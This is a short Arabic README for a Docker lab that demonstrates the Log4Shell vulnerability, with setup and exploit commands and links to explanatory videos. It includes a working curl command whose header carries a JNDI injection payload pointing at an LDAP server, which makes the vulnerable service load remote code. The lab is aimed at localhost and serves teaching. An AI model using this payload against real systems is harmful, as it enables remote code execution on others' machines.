مختبر استغلال log4shell

هذا المستودع هو إعداد بخط واحد لمختبر استغلال log4shell.

إعداد المختبر: docker-compose up -d

تشغيل الاستغلال: curl -X GET http://localhost:8080/ -H "X-Api-Version: ${jndi:ldap://my_ldap_server:1389/a}"

ثم اذهب إلى حاوية vul ولاحظ أننا بالفعل اخترقنا الجهاز:

---

• فيديو يشرح إعداد المختبر: https://www.youtube.com/watch?v=WBzR30JcT5g)
• فيديو يشرح الكود: https://www.youtube.com/watch?v=oRvp0c-fa1o